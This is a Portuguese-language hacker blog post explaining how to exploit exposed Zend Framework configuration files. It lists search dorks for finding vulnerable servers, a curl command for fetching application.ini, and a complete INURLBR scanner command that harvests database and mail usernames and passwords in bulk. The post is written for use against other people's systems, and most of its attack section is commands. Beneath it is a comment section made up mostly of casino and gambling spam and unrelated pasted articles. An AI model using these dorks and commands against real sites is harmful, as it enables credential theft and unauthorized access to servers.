Parceiro: Camisetas Hacker

Camisetas para Nerds & Hackers

terça-feira, 8 de setembro de 2015

Explorando falha no Zend Framework Full Info Disclosure again! again!

3xpl0r4nd0 Z3nd Fr4m3w0rk Full 1nf0 D15cl05ur3

4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n!   Pois bem meus amigos o blog estava meio parado devido algumas coisas que tenho feito, mas arrumei um tempinho as 3 da madruga pra escrever esse humilde texto e passar algo meio velho, mas que ainda está em alta. devido a falta de atenção de muitos desenvs & admins.  Trata-se de uma falha no Framework Zend que possibilita acessar arquivos de configuração da aplicação local.  Acessar informações como:

4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 

Pois bem meus amigos o blog estava meio parado devido algumas coisas que tenho feito, mas arrumei um tempinho as 3 da madruga pra escrever esse humilde texto e passar algo meio velho, mas que ainda está em alta. devido a falta de atenção de muitos desenvs & admins.
Trata-se de uma falha no Framework Zend que possibilita acessar arquivos de configuração da aplicação local.
Acessar informações como:
  1. 'mail.transport.username'
  2. 'mail.transport.password'
  3. 'db.adapter'
  4. 'db.params.host'
  5. 'db.params.username'
  6. 'db.params.password'
  7. 'db.params.dbname'
Exemplo:
resources.mail.transport.host ="smtp.target.com.br"
resources.mail.transport.auth = "loginre"
sources.mail.transport.username = "wangxydlutre"
sources.mail.transport.password = "12333"
resources.db.adapter = "PDO_MYSQL"
resources.db.params.host = "mysql.target.com.br"
resources.db.params.username = "root"
resources.db.params.password = "123456"
resources.db.params.dbname = "db_app_teste"

Tais informações são encontradas no arquivo application.ini,db.ini,config.ini dentro da pasta /application/configs.

Exemplo de estrutura URL:
  • http://{taget}/pasta/application/configs/{arquivo}.ini
  • http://{taget}/application/configs/{arquivo}.ini
Acessando arquivo via CURL:
curl 'http://{target}/application/configs/application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)'

Acessando arquivo via CURL: curl 'http://{target}/application/configs/application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)'

Com o conceito de como acessar tal arquivo e do que podemos encontrar no mesmo, vamos para buscar servidores.

DORK[s]:

  • site:br index of "/application/configs/"
  • inurl:/application/configs/application.ini
  • site:com ext:ini inurl:/application/  -inurl:"git*" -github -assembla -inurl:mozilla -inurl:google "params.password"
  • -site:.google.com -site:.github.com -site:.sourceforge.net -site:.googlecode.com inurl:/application/configs/ "params" ext:ini
  • inurl:/configs/ "params.password" db.ini ext:ini
  • -github.com -mozilla.org -.google.com inurl:/application/  ext:ini password

Agora vamos explora em massa com SCANNER inurlbr

Montar comando baseado nas informações que já sabemos, o principal intuito achar possíveis servidores através de motores de busca e já testar o possível conteúdo de cada url encontrada.
O script INURLBR já possui por padrão um conjunto de strings para tal validação:
        
/* [*]ZEND FRAMEWORK
* Zend-Framework Full Info Disclosure
* The username and password of the database may be obtained trough 
* the "application.ini" file
$validation['ZEND-FRAMEWORK-01'] = 'mail.transport.username';
$validation['ZEND-FRAMEWORK-02'] = 'mail.transport.password';
$validation['ZEND-FRAMEWORK-03'] = 'db.params.username';
$validation['ZEND-FRAMEWORK-04'] = 'db.params.password';
$validation['ZEND-FRAMEWORK-05'] = 'db.params.dbname';

COMMAND

SET DORK:
--dork '{YOU_DORK}'ou
--dork-file 'arquivo_dorks.txt'
Use:
--dork 'site:br index of "/application/configs/"'ou
--dork-file 'zend-dorks.txt'

SET ARQUIVO DE SAÍDA:
-s '{FILE}'
Use:
-s 'zend.txt'

SET ID DOS MOTORES DE BUSCA:
-q '{ID}'
Use:
-q 1,6,7,14,22

SET FILTRO DE URLS:Só é incluída no loop de testes urls que contenham a string setada em tal parâmetro.
--ifurl '{STRING_VALIDATION}'
Use:
--ifurl 'configs'

SET REPLACE - MANIPULAÇÃO DE URL:
--replace 'OLD_STRIN[INURL]NEW_STRING'
Use:
--replace '/configs[INURL]/configs/application.ini#'

Manipulação de URL exemplo:
URL original vinda do motor de busca ou arquivo:
http://www.target.com.br/pasta/application/configs/languages/de/

URL modificada pelo replace:
http://www.target.com.br/pasta/application/configs/application.ini#/languages/de/

A function substituiu a string /configs por /configs/application.ini# e tudo depois do "#" é ignorado.

SET COMANDO PERSONALIZADO: 
Só vai executar tal comando se o script achar algo que seja considerado vulnerável.
--commnad-vul '{COMMAND_LINE}'
Use:
--command-vul "curl '_TARGETFULL_application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)' | grep 'host\|username\|password\|dbname'"
OBS esse comando(command) é somente para mostrar as linhas de senha do arquivo explorado
COMANDO COMPLETO:
php inurlbr.php --dork 'site:br index of "/application/configs/"-s 'zend.txt-q 1,6,7,14,22 --replace '/configs[INURL]/configs/application.ini#--command-vul "curl '_TARGETFULL_application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)' | grep 'host\|username\|password\|dbname'"


PRINT OUTPUT:
OBS esse comando(command) é somente para mostrar as linhas de senha do arquivo explorado  COMANDO COMPLETO: php inurlbr.php --dork 'site:br index of "/application/configs/"' -s 'zend.txt' -q 1,6,7,14,22 --replace '/configs[INURL]/configs/application.ini#' --command-vul "curl '_TARGETFULL_application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)' | grep 'host\|username\|password\|dbname'"




20 comentários:

  1. it's so nice. i like it....
    Translation

    www.linguainfo.com

    ResponderExcluir
  2. It's estimated that a smoker consumes over 6,200 cigarettes each year, according to the Centers for Disease Control and Prevention (CDC). Mark Twain famously said this: "Giving up smoking is the easiest thing in the world. I know because I've done it thousands of times."
    The growing awareness on the dangers of puffing cigarettes aren't just talking points in social circles—it's prompting governments to take legislative action and protect users' and non-users' lungs. In California, the state legislature is considering raising the legal age from 18 to 21 for purchasing tobacco products, a bill which is expected to pass into law. So why raise the age threshold? Because 95 percent of smokers say they started before the age of 21.
    Hollywood celebs have also helped to raise global awareness — especially among the younger crowd — on the dangers of tobacco smoke. Emma Watson, Jessica Alba, Renee Zellweger, and other stars have resisted smoking on-screen even though they were simply portraying characters, according to the ukmedix blog.
    Several states are currently weighing the opportunity to increase taxes on cigarettes. But the cost-driven approach to modify consumer behavior is generating healthy skepticism on politicians' true motive. Cynics say that many state governments are looking to increase "sin taxes" not primarily to advance health issues, but rather as a way for elected officials to punish taxpayers who have a perfectly legal, albeit misguided, right to use such substances (the libertarian's argument); and to raise money for more spending on bloated bureaucracies (the fiscal conservative's argument).

    http://www.digitaljournal.com/life/health/op-ed-no-smoking-day-highlights-government-actions-against-cigarettes/article/459706

    ResponderExcluir
  3. That's the same reason prospects won't buy whatever product or service your startup offers—no matter how interesting it might sound.

    It's quite understandable; no one wants to risk their money on an unknown offer by an unknown brand. And that's the major challenge most startups face—getting their first customers.

    Before prospects will buy from you, they need to know and trust you. So, your first major assignment as a startup owner is to build trust.

    You'll face a lot of challenges while trying to achieve that because it would be hard to take prospects' attention away from the established brands they've known and trusted for years.

    http://scn.sap.com/community/business-trends/blog/2016/03/10/5-smart-ways-startups-can-quickly-build-brand-trust

    ResponderExcluir
  4. Big data has revolutionized the way we experience the digital data that we create. Increasingly, companies, governments and researchers are analyzing petabytes of data to learn more about people and their needs, and to find solutions to many of the problems plaguing our society today.

    However, for the common man, none of these complexities matter. All that one wants to see is useful information presented in an appealing manner, so that they can make the most of it. This requirement reflects the need for well-developed and intuitive user interface (UI) and user experience (UX) in helping individuals harness the power of big data.

    https://dzone.com/articles/importance-of-ui-and-ux-in-big-data

    ResponderExcluir
  5. ripper do caralho kkkkk pqp...

    ResponderExcluir
  6. Please click on this post if you wanna paly with online casino.Thank you.
    ทางเข้าจีคลับ
    บาคาร่า

    ResponderExcluir
  7. Ahli pusat pesugihan dunia nyata http://www.pusatpesugihangaib.com/

    ResponderExcluir
  8. does not have to walk to the bank to support 6 banks, the system is easy to subscribe 3 steps, the channel to contact up to 5

    จีคลับ

    ResponderExcluir
  9. anything. There is a beautiful phone number on the main page of the web already. Play or lose depends on whether you
    gclub

    ResponderExcluir
  10. It seems to me that people who have found the grids are just happy to have it at hand.

    ResponderExcluir
  11. อยากมีรายได้เพิ่มมากขึ้นเพียงเลือกเล่นเกม สล็อต 918kiss
    ในสมัยนี้ใครๆก็อยากที่จะมีรายได้เพิ่มมากขึ้น อยากรวย อยากมีเงินเพื่อนำมาจัดการกับเหล่าค่าใช้จ่ายต่างๆที่ดาหน้ากันเข้ามาในชีวิตของทุกคน การเล่นเกมสล็อตออนไลน์ จากค่ายเกม 918kiss จึงเป็นอีกหนึ่งทางเลือกที่จะช่วยให้ผู้ที่ชื่นชอบการเล่นเกมคาสิโนออนไลน์มีโอกาสในการสร้างรายได้ให้กับตัวเองเพิ่มมากขึ้น แต่อย่างไรก็ตาม ก่อนที่จะเข้าไปเล่นเกมคาสิโนสล็อต 918kiss ต้องทำความเข้าใจก่อนว่า เกมสล็อตออนไลน์นั้นมีหลากหลายค่ายเกมให้คุณได้เลือกเข้าไปเล่น แต่ 918kiss คือค่ายเกมเล่นสล็อตที่เราไม่อยากให้คุณพลาดความสนุก เพราะ
    ความสนุกจากเกมสล็อต 918kiss
    หากใครยังไม่รู้จัก เราจะขอแนะนำให้คุณมาทำความรู้จักกับเกมคาสิโนสล็อต 918kiss ซึ่งเป็นเกมที่สร้างรายได้ เพิ่มเงิน เพิ่มความสนุกให้กับผู้เล่นเกมคาสิโนออนไลน์ได้เป็นอย่างดี 918kiss เป็นค่ายเกมคาสิโนออนไลน์จากต่างประเทศ ที่ผู้ให้บริการเว็บเกมคาสิโนนำมาให้สมาชิกเว็บได้ลองเข้าไปเล่น เข้าไปหาความสนุกด้วย โดยข้อเด่นของเกม 918kiss คือ
    • 918kiss8 เป็นค่ายเกมคาสิโนสล็อตที่เชื่อถือได้ เพราะเว็บเกมคาสิโนออนไลน์ของเรามีข้อมูลในการติดต่อครอบถ้วน ไม่ว่าสมาชิกจะมีปัญหาหรือต้องการความช่วยเหลือเกี่ยวกับเกม 918kiss ก็สามารถติดต่อเข้ามาสอบถามได้ตลอดเวลา
    • คุณสามารถมั่นใจในระบบของเกม 918kiss ได้ ระบบเกมคาสิโน 918kiss เป็นระบบเกมที่เชื่อถือได้ เสถียร และไม่ต้องกังวลในเรื่องของการสะดุด หรือเกมมีปัญหาเพราะมีทีมงานคอยดูแลตลอดเวลา
    • เกมจากค่าย 918kiss มีหลากหลายเกมให้เลือก นอกจากเกมสล็อตออนไลน์แล้ว 918kiss ยังมีเกมคาสิโนออนไลน์ที่น่าสนใจอีกหลายเกม เช่น เกมยิงปลา เกมบาคาร่า โดยแต่ละเกมก็ช่วยเพิ่มรายได้ให้กับผู้เล่นได้เป็นอย่างดี
    • คุณจะได้รับความสนุก มากกว่าเกมคาสิโนอื่น เพราะเกมจากค่าย 918kiss เป็นเกมที่มีรูปแบบหลากหลาย ให้คุณได้เพิ่มความแปลกใหม่ในการเล่นเกมมากขึ้น
    • ค่ายเกม 918kiss ทำเงินได้ง่ายกว่าค่ายเกมอื่น
    ดังนั้นหากคุณสนใจ หรือต้องการเข้ามาเล่นเกมสล็อตออนไลน์ ก็ลองสมัครเข้ามาเป็นสมาขิกกับเว็บคาสิโนของเราดู เรามีทางเข้าให้คุณเข้าไปสนุก และตื่นเต้นกับสล็อตออนไลน์ 918kiss ได้ตลอด24 ชม. อีกทั้งเว็บคาสิโนของเรายังมีเทคนิคการเล่นเกมสล็อตออนไลน์ให้คุณได้เข้าไปศึกษาเพื่อเป็นการเพิ่มโอกาสในการทำเงินจากเกมคาสิโนนี้อีกด้วย ที่สำคัญคุณสามารถเข้ามารับโปรโมชั่นสำหรับเล่นเกมสล็อต 918kiss ของเว็บเราเพื่อนำเครดิตฟรีไปเล่นเกมสล็อตออนไลน์ที่คุณต้องการได้อีกด้วย สนุก สมัครง่าย สร้างรายได้ดี ต้องลองเข้ามาเล่นเกมสล็อตออนไลน์ 918kiss ที่เว็บคาสิโนออนไลน์ของเรา
    918kiss

    ResponderExcluir
  12. เว็บไซต์ผู้ให้บริการเกมคาสิโนออนไลน์ ที่มีเกมคาสิโนยอดนิยมและเกมคาสิโนสุดฮิตทุกรูปแบบ
    ให้ผู้เล่นได้เลือกเล่นตามความต้องการ รวบรวมเกมไว้มากถึง 200 เกม สามารถเล่นได้ทั้งบน PC
    และโทรศัพท์มือถือสมาร์ทโฟน ทั้งระบบ Android หรือ iOS ช่วยให้ผู้เล่นสามารถเล่นเกมคาสิโนและทำกำไรได้ทุกที่ทุกเวลา
    ไม่จำกัดแค่เพียงการเล่นอยู่ที่บ้าน สมัครสมาชิกได้ตลอด 24 ชั่วโมง มีระบบฝาก – ถอนเงินอัตโนมัติ
    bloglandtime
    blogpetitking

    ResponderExcluir
  13. Slotxo บริการ สล็อตออนไลน์ สล็อตxo แจกเครดิตฟรี พร้อม ทางเข้า slotxo เกมส์ใหม่กว่า 100 เกมส์ สมัคร slotxo ได้เลยตอนนี้ บริการ 24 ชั่วโมง.
    Slotxo
    สล็อตxo
    สล็อตxo บนมือถือ
    สมัคร slotxo
    สมัคร slotxo รับโบนัสฟรี

    ResponderExcluir
  14. Slotxo บริการ สล็อตออนไลน์ สล็อตxo แจกเครดิตฟรี พร้อม ทางเข้า slotxo เกมส์ใหม่กว่า 100 เกมส์ สมัคร slotxo ได้เลยตอนนี้ บริการ 24 ชั่วโมง.
    Slotxo
    สล็อตxo
    สล็อตxo บนมือถือ
    สมัคร slotxo
    สมัคร slotxo รับโบนัสฟรี

    ResponderExcluir
  15. CASA98 บริการ แทงบอลออนไลน์ แทงบอลเดี่ยว บอลเต็ง บอลสเต็ป
    casa98

    ResponderExcluir

............